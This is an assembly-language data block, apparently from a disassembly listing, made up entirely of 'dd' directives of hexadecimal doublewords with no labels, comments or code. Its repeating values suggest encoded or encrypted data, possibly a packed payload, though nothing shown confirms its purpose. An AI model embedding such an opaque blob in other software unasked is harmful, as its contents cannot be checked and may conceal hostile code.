		dd 39B13256h, 32EE3D1Fh, 97A2B298h, 6ACE9622h, 0A1C6E3A2h
		dd 0E8BE02EBh, 648A53A4h, 0D58BB659h, 0FA583256h, 95B13256h
		dd 14557E3Bh, 7DFA392Dh, 427D31C5h, 58D1A88Dh, 0ABB133DBh
		dd 6838CA56h, 0EC191903h, 0BD3A5436h, 4450DB37h, 5458CDA9h
		dd 19B13256h, 0B4D3A3F6h, 0D59CFF72h, 57BE5237h, 0EAB13252h
		dd 9DFF8D30h, 0DB70F9D6h, 5DB6BD59h, 0C8D13256h, 1AE0E4D7h
		dd 2AD1F137h, 9B15D4A6h, 52D75237h, 14448813h, 0BABADB37h
		dd 620F3256h, 3F46DE5Eh, 8B32D6D9h, 12D1529Ch, 0A1CD6673h
		dd 0EA373D07h, 2EB13256h, 0BAB1DA37h, 0DCEB3256h, 28F3BCh
		dd 31E75250h, 0D95FECD7h, 0D3B5208h, 0D0B0D5D7h, 14D027FFh
		dd 3BD75236h, 0DDA5B2B8h, 24D0F096h, 0ED3A539Eh, 0AD1F4F20h
		dd 8879B336h, 5FEF452Eh, 0CC4953FAh, 0BAB13356h, 5DB138BFh
		dd 42EDE556h, 8C0B011Dh, 98C88B0Eh, 0D9323D96h,	0E5B13256h
		dd 75B134D8h, 0BA363D56h, 0AEB13256h, 25D752FDh, 0DCD0C795h
		dd 5CC44D4h, 0D5BBDB50h
		dd 3ADD3256h, 0A345F4B8h, 834A9C32h, 2013B0DFh,	0BC5834F8h
		dd 5FB13256h, 2C0B350Ch, 5A15765Eh, 0B7E839E7h,	0BA441B93h
		dd 0BAB8DBC7h, 56923256h, 9582C865h, 36539EA0h,	0ABB0B259h
		dd 16493256h, 0E54852AAh, 75B13ED5h, 0BAB6DB56h, 83423256h
		dd 0C11FA22Bh, 57B1DA01h, 2AEB3256h, 7B2BBFBCh,	61D75250h
		dd 75A1DA85h, 48D43256h, 3C2576AEh, 0A6A9475h, 816E4862h
		dd 0EC0EC03Bh, 8CC6DD47h, 0E3585237h, 6B13256h,	5CD4251Ch
		dd 0F204D39Ah, 7B34F437h, 1B79A43h, 0C6885AA3h,	2A4DE649h
		dd 42BEA7E3h, 7A393D50h, 53B13256h, 5DB1325Ch, 0F9D7FE6Bh
		dd 6B1628CFh, 2E3CA81Eh, 0D31A5B27h, 0EAB13EBFh, 0C7F8C56h
		dd 0EF396799h, 5F2AAE0Dh, 7E4ECBEDh, 52383D36h,	0CDB13256h
		dd 9088E4D7h, 0EAB2BF59h, 0FED73256h, 53E353ACh, 5DB13259h
		dd 0F21531BDh, 655C8D3Dh, 472646Ch, 8589B57Ch, 6AB15AAAh
		dd 1F443256h, 0BAA5DB56h, 2F033256h, 28AE4276h,	0ACA99C15h
		dd 0B68BF125h, 28C022D9h, 584EC37Dh, 731F4832h,	63305436h
		dd 8530706Fh, 0B333E6C2h, 5861CD37h, 0ABB139DBh, 22305256h
		dd 0E90336DFh, 1476B930h, 0EBD1520Eh, 3C4BB90Fh, 5B496837h
		dd 5731323Eh, 0AC363D56h, 0DAB13256h, 0EAB133D5h, 75DBC756h
		dd 0CC03CDA3h, 3DB79C2Bh, 0AEB1B759h, 0E9D73256h, 54D01A59h
		dd 2DD0CA86h, 66BE5295h, 75B13253h, 0C16BB330h,	5DB6DB54h
		dd 0C5633256h, 358991B3h, 0CBE45392h, 0D5B135BFh, 0AB2D5B56h
		dd 0FBE39FF1h, 0E06BB905h, 5DA3DB37h, 0A083256h, 16BDA374h
		dd 0D62E2461h, 0BE130331h, 0C1238143h, 25D1DEDDh, 0DAD0CE0Eh
		dd 5DB1DAAFh, 2FEB3256h, 0F92D37BCh, 0ABB7DB50h, 5BB93256h
		dd 532B989Dh, 0F4D75236h, 0DB3AC290h, 5DB137BFh, 0D8332456h
		dd 58D03341h, 0ABB133DEh, 0A03ACA56h, 0EC3D3D5Eh, 15B13256h
		dd 0E3E06C00h, 5312DA37h, 23BE3256h, 57B13240h,	0ABB123BFh
		dd 0A9240156h, 0F9D2E7EFh, 9FC7CDD0h, 93C7BE28h, 0A8E48F16h
		dd 0D5BBA0A9h, 37D134F8h, 3047B330h, 27063D38h,	68BE6037h
		dd 75B13256h, 0A958530Eh, 0B0B13256h, 96064EBDh, 2C09E250h
		dd 3E1BDE7Bh, 0D9BCDD3Bh, 8AECC0CBh, 1CCEC1D7h,	6D303FCEh
		dd 6F100597h, 0A2C40937h, 0A822B759h, 0A4D1CDA9h, 0D5B134D4h
		dd 0EA373D56h, 14B13256h, 0BABF1ABEh, 52D0C756h, 0AEB120D8h
		dd 57BCDB56h, 0A8243256h, 61F4EAF8h, 3EB37862h,	0BC2BEDD8h
		dd 0BAB13FBFh, 0A6F29B56h, 26993DEAh, 34E92758h, 0A3737F72h
		dd 0DAE4CB56h, 0EAB13AD0h, 77383D56h, 0DAB13256h, 0A15DB937h
		dd 0A14DF6D5h, 57B134D0h, 0CD485256h, 83D0E3DDh, 0EB3C3D36h
		dd 80B13256h, 6076B330h, 0B4E65383h, 0AEB1325Fh, 5F50FBDCh
		dd 872C9CB8h, 0D35861D6h, 0E3B13256h, 0FDBC01A2h, 0BAB1DAABh
		dd 0DCEB3256h, 2C73BCh,	57A0DB50h, 1BE93256h, 0DB7F7F58h
		dd 24447CD5h, 5493E690h, 4291BFAEh, 52B947DDh, 0AEB139D8h
		dd 57B7DB56h, 12173256h, 0D001A799h, 0E5A14FDDh, 75B13CD3h
		dd 36BE5256h, 5DB13256h, 0AEB1B259h, 0BED03256h, 0ABB1325Ah
		dd 0A5AA7201h, 0EE24816h, 820CE651h, 0B2323D01h, 3DB13256h
		dd 0AEB1B959h, 1D03256h, 0D0552AEh, 3DD00CE1h, 0EAB133BFh
		dd 0E050B236h, 0DBD7D3D6h, 0D9BEF25Dh, 0AEB13364h, 0A70E3D36h
		dd 0ABB1BC59h, 0B5D03256h, 0EAB123BFh, 0A559CF56h, 44116C5Ch
		dd 0D135856Eh, 7D7B7BC2h, 5159C753h, 69B13256h,	4FDBC1E8h
		dd 61D06AAFh, 63353DAEh, 0DAB13256h, 0B470B930h, 0AEB1325Ah
		dd 8E512549h, 5A6BE7D0h, 46A2ECA7h, 0E5586737h,	0CBB13256h
		dd 0CEEEF44Dh, 7F5B50B8h, 2C6B5E31h, 0C54E16C4h, 0AD1F495Ch
		dd 0D5B121BFh, 52891B56h, 0ABA2E9C5h, 576DEECBh, 0E9EE3417h
		dd 62882650h, 31E1520Bh, 5DD4D8D7h, 0D53D3D08h,	8BB13256h
		dd 7ABD476Dh, 0BAB1ABD2h, 52D15256h, 0AEB132D4h, 0BE305456h
		dd 0CBD0AD07h, 0B4D0CEAAh, 0EAA2B959h, 7B583256h, 0C8B13256h
		dd 920E8A3h, 0C447E3D3h, 7A5159F9h, 0B53A54A5h,	2556B2AAh
		dd 0EAB126BFh, 0C8663E56h, 0C181BFDEh, 8BD2B033h, 7B98D79Fh
		dd 0C25D54C5h, 5EAFB809h, 2041D1D6h, 0CE24DAAAh, 70583256h
		dd 0C2B13256h, 0BA6FAFD6h, 514FE1BFh, 314952A9h, 0CAE72FEFh
		dd 0D8595236h, 42B13256h, 13A06C0Bh, 0F73594D4h, 5D7ADE8Ah
		dd 0AE363D0Dh, 36B13256h, 1978B336h, 6A8B8A84h,	0A002C4F4h
		dd 8385337h, 3BD752AAh,	3BE0B380h, 0CF57EEE9h, 0A847F0BEh
		dd 0A2373DA9h, 0B5B13256h, 87DB77EFh, 1477B94Fh, 523B520Dh
		dd 5DB126BEh, 6C9356h, 2228EAC4h, 0F1CE63B8h, 3650C032h
		dd 0BE5FFCBBh, 75A5DA2Eh, 0F3133256h, 449057AEh, 0DAAF3DD4h
		dd 0B4412009h, 326B264h, 8AE967E4h, 0E5485237h,	2AD0E2E1h
		dd 0BAB139BFh, 4C50A256h, 441B0951h, 0CB113EECh, 0ABB9DB08h
		dd 2ACD3256h, 1D3D87FAh, 303A6067h, 0AB5852AAh,	0D1B13256h
		dd 0F78EA71Ah, 0BC27EF8Fh, 0C5452CD9h, 44B7197Ah, 284DFB37h
		dd 0FDBE325Ah, 0BAB13257h, 0D3BE67AAh, 0AEB13257h, 0A25DB9AFh
		dd 5375B1AFh, 5E4D5236h, 0EC58539Ch, 7CB13256h,	0F063E932h
		dd 0A4E653A6h, 0AEB0BB59h, 1443256h, 0F84963AEh, 2957B236h
		dd 0AF7653AFh, 75B132AEh, 0B73C3D56h, 3DB13256h, 7E900EEEh
		dd 0F346B357h, 0CAAF52EDh, 0A90AB091h, 0EAB034F8h, 7B583256h
		dd 0BCB13256h, 0EC0CA451h, 71C80C9Fh, 1A27E509h, 0A3C4B930h
		dd 0D5B13EBFh, 0E6788D56h, 70E9754Fh, 84C23A7Ah, 433A5435h
		dd 0AEB13EBFh, 1F6E3E56h, 235C7F71h, 0B458FD8Bh, 8E0BB988h
		dd 89B79C2Ch, 0BAB0BB59h, 0D6493256h, 0A7583A09h, 0F0B13256h
		dd 0BDF14E10h, 0E09A63B4h, 6EBEE95Dh, 75B132D7h, 48063D36h
		dd 2F0E5400h, 95D06B0Ah, 48343D88h, 42B13256h, 0D5B13244h
		dd 1E541026h, 3DC8B3D9h, 4864DCE7h, 1046AADEh, 0F33A44EBh
		dd 838CE5Ah, 6C32CA5Ah,	0D5B6DB42h, 77A63256h, 3044CD4Dh
		dd 4510DBD9h, 0D7BECDA9h, 0AEB13276h, 57323D36h, 43B13256h
		dd 0D5B13244h, 1686DD7h, 3E40467Eh, 0FCD8350h, 0BA59F80Ah
		dd 0CFE8E9B5h, 57B122BFh, 4D021B56h, 10DCC9A4h,	3E47816Fh
		dd 4305FD04h, 0A43A54CFh, 3B44B836h, 2ED0F8DDh,	0D3BEDAADh
		dd 0ABB13161h, 0A8F28836h, 6AD02F3Fh, 0F1BEDBADh, 0BAB13171h
		dd 0B64AB2A3h, 0ADACB659h, 0BE483256h, 0ABB1325Ah, 0E10C99B5h
		dd 0DB558CBh, 4DFEF6C9h, 0B553C9D6h, 5DB3C2D2h,	48305256h
		dd 6863D057h, 484AB237h, 0D776B659h, 60BE3256h,	75B1325Bh
		dd 0BAB13ABFh, 4B322456h, 86BB70A5h, 0AC30542Bh, 2FBED131h
		dd 0D5B13097h, 0EAA7BD59h, 0FABE3256h, 0BAB13246h, 5DB139BFh
		dd 0CA67C656h, 0E88C9F8h, 0DE53E055h, 0B541D5D6h, 8CD1ECDCh
		dd 136F6BEFh, 0DBD0CCDDh, 524AB330h, 32353DD6h,	37B13254h
		dd 0ABB122BEh, 152A1856h, 0D0AB4857h, 2D443AB8h, 22A06A15h
		dd 4362B360h, 0F7DA8A62h, 0D7D0E5DDh, 2B4DC2B5h, 51BE42ADh
		dd 0EAB13039h, 6B3A54A3h, 0BAB139BFh, 70571656h, 12FAA5BFh
		dd 4EB4ED29h, 5E49D1D6h, 0DA09C9D6h, 0EAB069D2h, 0F4D75256h
		dd 0AF6969Ch, 633153D8h, 0E7353D53h, 0BEB13257h, 0ABB1325Dh
		dd 6E6AC9D6h, 96127B19h, 0F503DA59h, 3EBE1F68h,	5DB13366h
		dd 0AEB0B659h, 0D74D3256h, 2FBE5A68h, 0D5B13376h, 0EAB137BFh
		dd 0CEA25456h, 384EFA91h, 5B1F4EEDh, 2FD752AAh,	0D6C6B289h
		dd 0E0F59FA1h, 5ED7536Eh
		dd 38315248h, 96305455h, 3AD0EDADh, 5758CAB1h, 0D7B13256h
		dd 0C4EC7512h, 3DE4B78h, 58BE52ECh, 0EAB13254h,	7F585336h
		dd 0B6B13256h, 1F6866A3h, 66BE6E3Eh, 0D6D753D0h, 0A459B3ADh
		dd 0D5B18DD2h, 61D7CB56h, 743D3D48h, 4FB13256h,	820E3D36h
		dd 0B0D48C36h, 59580F79h, 50B13256h, 46BAF1C4h,	880B7A0Ah
		dd 0A19AB8A8h, 3AD053E7h, 4E58C2B1h, 0EB13256h,	81DFCC08h
		dd 0EA099478h, 0DDBFB77Dh, 0D13671C3h, 0F4D7297Ch, 0B571B3ADh
		dd 5DB15DD2h, 2EBE5256h, 57B13250h, 1CDECD7h, 1C0A1EDFh
		dd 8BBB0139h, 74313D36h, 46B13256h, 5C323D03h, 52B13256h
		dd 2CBBA0A9h, 42D134F8h, 0D5B1325Ch, 3D9BED88h,	0CD69B9EDh
		dd 57314365h, 4D534Ah, 0AEB6B659h, 0E7D13256h, 9A79B297h
		dd 29F4BB37h, 0EAB13ABFh, 5FCD6256h, 0CD7924E0h, 0DE4453FAh
		dd 0A1B0CE2Bh, 57B0C8D3h, 0AA3E3D56h, 20B13256h, 0F48088DDh
		dd 0F2BE34FEh, 0BAB13257h, 5DB9DBA3h, 0FEF73256h, 1AD8D75Fh
		dd 52E15FB9h, 0A90AB0DDh, 0E35834F8h, 24B13256h, 3344A953h
		dd 89E588B4h, 47810E6Fh, 57B13258h, 7DCE4F31h, 8497659Bh
		dd 0A2A9A731h, 7AE93BB0h, 0BAB094D4h, 0E73ACA56h, 0A8193B37h
		dd 55303D36h, 20B13256h, 0CA048888h, 0BAD07AF2h, 0C3445236h
		dd 0B75953E9h, 3BB13256h, 448D9B3Dh, 431ADEEAh,	0BE72B6DAh
		dd 573A5309h, 0EC1F4EEDh, 458D0BAAh, 0BABDB259h, 5A583256h
		dd 0ECB13256h, 22A79F55h, 0F349E583h, 0D4E0BD59h, 3443256h
		dd 75B1325Fh, 3886AF0Dh, 0AD8C335Bh, 0AE8CDB52h, 59583256h
		dd 21B13256h, 51EAEF6Ah, 1387EB6h, 3836472Eh, 42F4F51Bh
		dd 5DB13254h, 0AEB137BFh, 0D10E056h, 4248ED20h,	0D5B13245h
		dd 12F4F5A3h, 75B13257h, 0BAB134BFh, 1BB30E56h,	2544AF37h
		dd 0F9CB56ECh, 0B43AC750h, 0D5B13BBFh, 36353556h, 0EFEF96A3h
		dd 61BABE43h, 5D50B659h, 0BC583256h, 12B13256h,	8222F441h
		dd 5E0EEBCDh, 0C280DFDAh, 4AC50C1Ch, 0B56F0978h, 5DB1B3D3h
		dd 2544CB56h, 0D8BE3E0Bh, 0ABB1324Eh, 0D5B121BFh, 0D65E6456h
		dd 0F3AC0926h, 47717507h, 10F794F2h, 0A2DBE740h, 57494FD5h
		dd 0AB94B659h, 5CBE3256h, 0EAB1325Bh, 75B13ABFh, 0FC805156h
		dd 0DDCFA480h, 0A6313D35h, 58B13256h, 0ABB130DAh, 0D6D05256h
		dd 6348CA0Bh, 0F5BE3609h, 0BAB1325Bh, 5DB7DB36h, 0B6EA3256h
		dd 0D46B3D48h, 0ABA5DB37h, 848B3256h, 1DC710C5h, 4003FA3Dh
		dd 9C0D7636h, 9645F3EEh, 69321A5Eh, 0E2D15242h,	0A758531Eh
		dd 26B13256h, 0EF25FA5Bh, 2F69BF76h, 0DBE884E1h, 0A24E1BBFh
		dd 0A33F3DA9h, 37B13256h, 0ABB1B559h, 1C0E3256h, 8B96FEDFh
		dd 9C48F265h, 0BAB13627h, 5DB0B059h, 0C84D3256h, 0D7D12CDDh
		dd 0CDE7F58Fh, 0B4EAF8DDh, 8ABD4FDDh, 0BA25D9D7h, 0B6586CACh
		dd 7BB13256h, 0A4276897h, 0CF91F872h, 0CADE4C49h, 3E4AB2AEh
		dd 0EAEAB659h, 0F5BE3256h, 0BAB13259h, 5DB138BFh, 5F0D5756h
		dd 82D456F5h, 2B3BDFD1h, 0DAD1C2B5h, 6AD0CBE9h,	0F1BE42ADh
		dd 0BAB132CEh, 5DB13DBFh, 0E538DE56h, 0A251D128h, 0ADBFE996h
		dd 0E06DF608h, 0EAB025BFh, 633F3D56h, 53B13256h, 5DB13247h
		dd 25E18A89h, 0A3DC6AC9h, 0C92092E1h, 0F87C16B5h, 3B6F428h
		dd 75A0DB36h, 164E3256h, 6C46BEE3h, 0A6C3D804h,	0B0E0941Fh
		dd 0FDF1F694h, 0B4E85336h, 0EAB07591h, 9CB13256h, 0BAB13242h
		dd 0E868F3C1h, 61EEB5C1h, 9EA2D8Dh, 64A31ED1h, 21C22C22h
		dd 0F958F5DDh, 13B13256h, 4EC897A7h, 0BAB1B975h, 30CF5E1Dh
		dd 42F565BDh, 6B329F40h, 0AF58CA53h, 16B13255h,	7AB6F530h
		dd 0B6343D5Eh, 52B13256h, 0AEB134DDh, 57383D56h, 21B13256h
		dd 0D5BCDB48h, 0EC363256h, 154B9CE3h, 0B9471C5h, 0DD2F8197h
		dd 0A1D13DB5h, 57B131D3h, 65063D56h, 0DB393D37h, 8AB13256h
		dd 9F7BEDD7h, 33BE3A43h, 5DB13256h, 2E7AB237h, 57B13DBFh
		dd 0B67C2656h, 8D988CEEh, 0A66CED91h, 5F2BF722h, 53B06DDEh
		dd 5DB13247h, 7F268DC3h, 0C5A5B3E6h, 0E100FE40h, 1F346D4Bh
		dd 0E8F6F5F1h, 75B13256h, 0BAB0B059h, 0D6493256h, 6E32CE91h
		dd 0B558CE50h, 52B13254h, 458FB330h, 8A353DC6h,	8CB13256h
		dd 3BD76036h, 69AF599h,	0EFBBF8ECh, 69315311h, 0C3343DC6h
		dd 2CB13256h, 15CFB330h, 0F1BEA2C6h, 0BAB1326Dh, 0BB0F5436h
		dd 0FE585345h, 58B13256h, 0ABB13FDFh, 0D5B9DB56h, 5F7B3256h
		dd 24512D6Ch, 0EAD1A04Fh, 7B73B330h, 0A15869C7h, 58B13256h
		dd 0CB35E990h, 82EF59EBh, 0BB89FA17h, 0FED099D7h, 0D458CE91h
		dd 0B4B13254h, 0AEB13245h, 955A594Eh, 1A085276h, 3C621C5Bh
		dd 14F2E45Bh, 0F8982D2Fh, 14CCE3D4h, 47383D50h,	0CEB13256h
		dd 0BE84EAD6h, 0ABB13246h, 7200C1CDh, 856B810Bh, 6DD8E495h
		dd 9846D5BAh, 0B446237h, 0FD085436h, 0A7A28C02h, 54D064EEh
		dd 7BCA2AC4h, 2ABAC750h, 7587B659h, 30BE3256h, 5DB1325Bh
		dd 65305436h, 0D7BEEBE6h, 0ABB13256h, 0B579B937h, 0A96FB330h
		dd 0F8D0CECAh, 14CCE3E4h, 5C3B3D50h, 52B13256h,	57B143BFh
		dd 0AA333D56h, 20B13256h, 38305200h, 156F71F2h,	31D0C1DDh
		dd 52E35298h, 0AEB132D3h, 0DCD76B56h, 0A4E4538Fh, 0D5B133DDh
		dd 784EC756h, 731F495Ch, 3EBE6FA3h, 5DB1325Dh, 0AEB134BFh
		dd 0FF0BFC56h, 8008C689h, 30315298h, 8B43B987h,	25D1EBA1h
		dd 0E446B930h, 5DB3B759h, 0F6E33256h, 0DDBE6C37h, 0ABB13258h
		dd 0D5B13BBFh, 2F651D56h, 0AE773D6Ch, 0C73252D2h, 0D8BE33AEh
		dd 0AEB132F0h, 57B0B159h, 1B493256h, 0D83D3D1Fh, 8AB13256h
		dd 286AB330h, 0DE72B39Bh, 3CA71DB4h, 0F9085436h, 57BFDB52h
		dd 4F873256h, 7742C4AEh, 9553DEF3h, 1EE27DB3h, 53D19837h
		dd 5DB13251h, 78C5B520h, 0D622AAB2h, 3D410589h,	6DD75332h
		dd 0E058B759h, 7CB13256h, 0F53FF6D6h, 375E2B4h,	561A54ECh
		dd 56F78459h, 0ABBFB559h, 0DAD13256h, 0EAB132DDh, 0B17FB356h
		dd 0DBDB6B04h, 5DA5DBFDh, 0D49D3256h, 0F55F8631h, 0A53FE744h
		dd 5DA74415h, 0C52D1D0Ah, 0BA58360Ah, 53B13256h, 5DB1325Ch
		dd 0EC0EE875h, 95D95A08h, 0D6325AB9h, 50BE30AEh, 0EAB132E5h
		dd 75BABC59h, 0B5D13256h, 0B630F3E1h, 0FFAD5182h, 5C095437h
		dd 0AA3D3D9Fh, 20B13256h, 0E51A54AAh, 75B137D0h, 0EA485256h
		dd 0E5D7530Eh, 0BE58B659h, 7EB13256h, 0FAE6DC75h, 38F99790h
		dd 0BD8F4D83h, 1300D7F7h, 0AB5852FDh, 2B13256h,	0D2DF760Ch
		dd 3AFDD7Eh, 1CF5DBFEh,	894EDE26h, 644C8A30h, 33073D37h
		dd 0B0353D57h, 3DB13256h, 6930E2DDh, 57864CAh, 21BE9937h
		dd 0D5B1324Fh, 0EAB126BFh, 2F378656h, 764FFE43h, 0B9B543CFh
		dd 0AE1734F0h, 919CB7FEh, 0ABADDBDFh, 6AD13256h, 96DA3F09h
		dd 0BD5DDAD7h, 0DAD05E13h, 5DB3BD59h, 593A3256h, 0A4D0E4DDh
		dd 6C3ACAF2h, 57BE69AAh, 0EAB13251h, 0B43A5436h, 0E3D0E3DDh
		dd 0DCD16CAAh, 254F048Ch, 84D6401h, 2EBE6D37h, 0D5B1325Ah
		dd 0EAB7BA59h, 0F3BE3256h, 0BAB13256h, 0B4E1529Fh, 0AEB13258h
		dd 845D9645h, 0C2C82291h, 1F51E0FFh, 0E5E80262h, 75B131D7h
		dd 750E3D56h, 5DBEDB37h, 8B43256h, 39DD69D3h, 9CCC5D22h
		dd 78341AB4h, 0EAB9F06Eh, 75B137BFh, 0FEB4B256h, 52E45615h
		dd 0AEB133DFh, 0BB3ACA56h, 0ABBBB559h, 5ED13256h, 0EA3A3D8Fh
		dd 14B13256h, 0BAB121BFh, 1076D456h, 8690405Bh,	5C43E48Ch
		dd 0E25B6176h, 0BEAA9BE6h
		dd 0E158CB36h, 0CDB13256h, 6B002727h, 0A487E6DCh, 0AE59B006h
		dd 0DB13256h, 1FBD8D7h,	3CD134F8h, 0EAB1325Fh, 8FCCAA88h
		dd 46E99A0Bh, 5DA2DB8Bh, 9A003256h, 2C6D10E7h, 0E17BC427h
		dd 68F8D38Eh, 284E80CCh, 0FE49533Ah, 4FD13A13h,	5DB5BF59h
		dd 11D73256h, 0DED0525Ch, 5CB84D4h, 0D5BDDB50h,	70283256h
		dd 0C8C9D100h, 0D1EA88E5h, 0A8D0C69Ah, 0A658529Fh, 35B13256h
		dd 379285BBh, 3C679F95h, 0EAB13242h, 0B9E9AA85h, 0BD7B5765h
		dd 92FD4CFCh, 12E2C058h, 0BC7B4371h, 0ABB5F037h, 0D5BCDB36h
		dd 41E43256h, 0E6218AC9h, 0D8F36925h, 0E37BECE0h, 0FAC1CBDEh
		dd 5D586737h, 0EEB13256h, 0D6B02959h, 0D4BF51ACh, 8C5DB986h
		dd 4275B1AAh, 5DA2DB36h, 0FBF73256h, 8AA3489Fh,	0F8CD1597h
		dd 0A6323B50h, 4847AB9Dh, 74353D9Ch, 4FB13256h,	54585237h
		dd 0AAB13256h, 0BFA515FFh, 0E47F2ED7h, 0D5B132BEh, 306856h
		dd 731F9962h, 0BABABD59h, 52D13256h, 0AEB132D2h, 9D0E3D56h
		dd 0EE76CB37h, 0D5B132AEh, 0AF76CB56h, 75B132AAh, 7A82CA56h
		dd 433A54AFh, 0AEB13DBFh, 0EA244856h, 0B3E1FD18h, 238EBEABh
		dd 0C29E3AAEh, 853A5436h, 0DB48B930h, 210AB091h, 0AEB034F8h
		dd 58D13256h, 0ABB130DEh, 0B4EB6156h, 5E4FB936h, 0F4D753ADh
		dd 0B521A2ADh, 5DB13DD3h, 2DBECA56h, 57B1325Eh,	0ABB3B559h
		dd 0B4D13256h, 0E559C9D6h, 75B528D2h, 0B5F1CB56h, 5DB12AD6h
		dd 0AEA2DB56h, 17523256h, 54E6AEE1h, 3025DA87h,	7372DA60h
		dd 0B79A2AE8h, 534AB2B6h, 5E40B659h, 2DBE3256h,	57B1325Ah
		dd 0ABB7B359h, 53BE3256h, 0EAB13256h, 75A0DB16h, 0E5DA3256h
		dd 35725BD5h, 0F5A76901h, 0C0C11A91h, 2B8F3ECEh, 51BED9ADh
		dd 0EAB131E9h, 75B138BFh, 0A8210356h, 8FF3D9BDh, 0EED24C9Dh
		dd 0A756B2A3h, 960B5436h, 260E3D8Fh, 11305437h,	0F1BEB259h
		dd 0BAB131C1h, 5C3331AEh, 0A1B79A43h, 57B124D6h, 0ABA0DB56h
		dd 69043256h, 0BF99E077h, 0C21FDA2Dh, 644F7CFCh, 1D439254h
		dd 4C4AB2AAh, 54F9B659h, 28BE3256h, 0D5B1325Eh,	0EAB3B559h
		dd 14D13256h, 0B552C9D6h, 5DB3C9D2h, 0AEB9DB56h, 0EB533256h
		dd 0A3A535F2h, 54D7607Dh, 0E55255ADh, 75B22BD2h, 0DC495256h
		dd 3CE000E8h, 5B41D1D6h, 58C1C9D6h, 0ABB214D2h,	0D5B8DB56h
		dd 0E5563256h, 0FEC558FBh, 0DC942275h, 52D12CDDh, 0AEB134D7h
		dd 0C358B356h, 20E32773h, 3631538Fh, 0EAA2DBAEh, 0D33C3256h
		dd 0D0DF14Bh, 0B15361AEh, 0E7E6A4C7h, 3F080BCDh, 134AB2ABh
		dd 0D4E7B659h, 6A443256h, 0F1BE3768h, 0BAB1331Ah, 5DB13BBFh
		dd 16F90856h, 0A31D62D5h, 2B44F7E2h, 51BE1F68h,	0EAB13362h
		dd 230A52AAh, 0DAF87EFCh, 3B4FB930h, 0CF069FEDh, 3F8FB237h
		dd 0AAABB659h, 55D13256h, 0AAD0BEA3h, 75A6B359h, 0A8583256h
		dd 3FB13256h, 4C6C7F41h, 3B42DAD0h, 0C6AC530h, 0B7D2DC81h
		dd 5133CD9Bh, 15B79C2Ah, 0BAB4B559h, 0DCD73256h, 0CFF5629Dh
		dd 0BEAFB930h, 0ABB1325Ch, 0CEA3D2DCh, 9AC7376Ch, 92319843h
		dd 0B758C7AEh, 1FB13256h, 2E52EC97h, 81821548h,	8E8D800Fh
		dd 544AB330h, 5B353DBEh, 9CB13256h, 0BAB13253h,	8D882251h
		dd 0B03A54E3h, 0A4315236h, 0CA49533Ch, 3C41D5D6h, 0EAB13258h
		dd 1A9538Dh, 422B3137h,	8C0E4D0Ah, 2FD7D87Eh, 5871B3ADh
		dd 0ABB149D2h, 0CE3C3D56h, 8AB13256h, 9D628D59h, 0BAB13246h
		dd 9F7586C3h, 0ABBB63E5h, 22ECBBD0h, 1A97859Ch,	3CD1530Ch
		dd 0EAB13250h, 3DA9A731h, 36BE3BB0h, 5DB13257h,	2ABE67AAh
		dd 57B13257h, 0A123CDAAh, 0B5B79C2Dh, 0EAB13ABFh, 69022D56h
		dd 38F44416h, 9B3054D5h, 0F3D041C7h, 0ABF4BBAEh, 6C305236h
		dd 0C6D5D07Bh, 0EAB1B359h, 7AD03256h, 0DBD0F9E1h, 0A1CCB1A3h
		dd 58343D57h, 0AEB13253h, 0B58088DDh, 0C15834FEh, 0A0B13256h
		dd 8FBD267Dh, 30BFA560h, 91427A8Dh, 5352C3AAh, 72ACC03h
		dd 0ABB9B259h, 59BE3256h, 0EAB13254h, 0F73A5336h, 0BC1F4EEDh
		dd 5DB13BBFh, 51268F56h, 1953A747h, 9788FED0h, 0DC595266h
		dd 1DB13256h, 7EF348CFh, 726FF606h, 3BEF5336h, 0CEF9EBD7h
		dd 0D5BE6A37h, 0ABB137C7h, 0B4C48336h, 0E3D088DDh, 8C4434FEh
		dd 383ACE06h, 5B1F4EEDh, 0AEBDB959h, 0DFBE3256h, 0ABB13250h
		dd 0D5B1B259h, 0D6883256h, 7D595266h, 44B13256h, 6ACF05EFh
		dd 0C847D0FBh, 900ACE8h, 0ABB121BEh, 1AAE9D56h,	0D1F105CDh
		dd 0BD5A0B1Bh, 55B33564h, 0E6E4DA7Eh, 0AEB1BD59h, 36E83256h
		dd 853E3D0Eh, 0B5B13253h, 9B428D30h, 0CF3A53AEh, 0BC1F48FCh
		dd 5DB138BFh, 92559856h, 0E45DB6C1h, 2892418Dh,	7BCB98D4h
		dd 69BE2650h, 75B13257h, 0B586BBAAh, 5DB13CDBh,	0AEB8DB56h
		dd 0EFFE3256h, 338FB476h, 5CF46D8Bh, 0BA482211h, 0CE33B9AFh
		dd 0B5B79C2Ah, 5DB133DFh, 2CBECE56h, 57B13257h,	9BADB9A3h
		dd 0B47AB936h, 0B538CA0Eh, 0B758CB5Eh, 46B13252h, 5F497791h
		dd 47B13256h, 57B13253h, 0AF0C8987h, 0D5F0DB76h, 0E5D13256h
		dd 75B126D1h, 0BABEDB56h, 53973256h, 28A0CCFDh,	37BF1F8Bh
		dd 48770F1h, 8E0F54D1h,	0AF765342h, 75B133AEh, 0AE363D56h
		dd 0B4B13256h, 0AEB13259h, 0BEF12730h, 314D4BAh, 3AE08CE6h
		dd 6165BD57h, 0DBCB98ECh, 3832CB50h, 5B1F48FCh,	25BE5242h
		dd 57B13250h, 8539F9D7h, 5CD06754h, 0E5E05261h,	14E9C2E9h
		dd 0DAA175DFh, 0D6E8D59h, 98D68A30h, 0AF32530Fh, 91343D55h
		dd 29B13256h, 960AB091h, 75B334F8h, 3ABE3256h, 5DB13257h
		dd 0EE58CEAEh, 37B13256h, 0ABB139BFh, 0A763C156h, 0F346B656h
		dd 16977BDEh, 0DB69E3D6h, 0BD315236h, 0CE095493h, 903A534Fh
		dd 0A949B137h, 0D7F4BF59h, 2D13256h, 75B1325Eh,	7E3FD9D1h
		dd 596766DAh, 0FDCBFAE9h, 0D4D06B1Eh, 0A4B1CA2Bh, 0D5B1B8D2h
		dd 5CBECE56h, 15443310h, 4E7634EEh, 0DD18534Eh,	0A1B13256h
		dd 57B170D3h, 0CBF1C756h, 343054AAh, 69D09CEEh,	9CD137BEh
		dd 0BAB13246h, 0ECD8E378h, 20940C8Bh, 35882088h, 0DA9A4FADh
		dd 0D5B13EBEh, 1ACEB556h, 0BC7C3A80h, 31132354h, 8553B397h
		dd 0F78DAEBDh, 579ADB37h, 864D3256h, 0D5B132A9h, 0B305436h
		dd 15D18F9Bh, 4A3A5437h, 0B5325337h, 0AEBEDB53h, 0F5D53256h
		dd 0D13C8B6h, 0AEB6E3F2h, 0D99D24E4h, 75F4DB93h, 0E9483256h
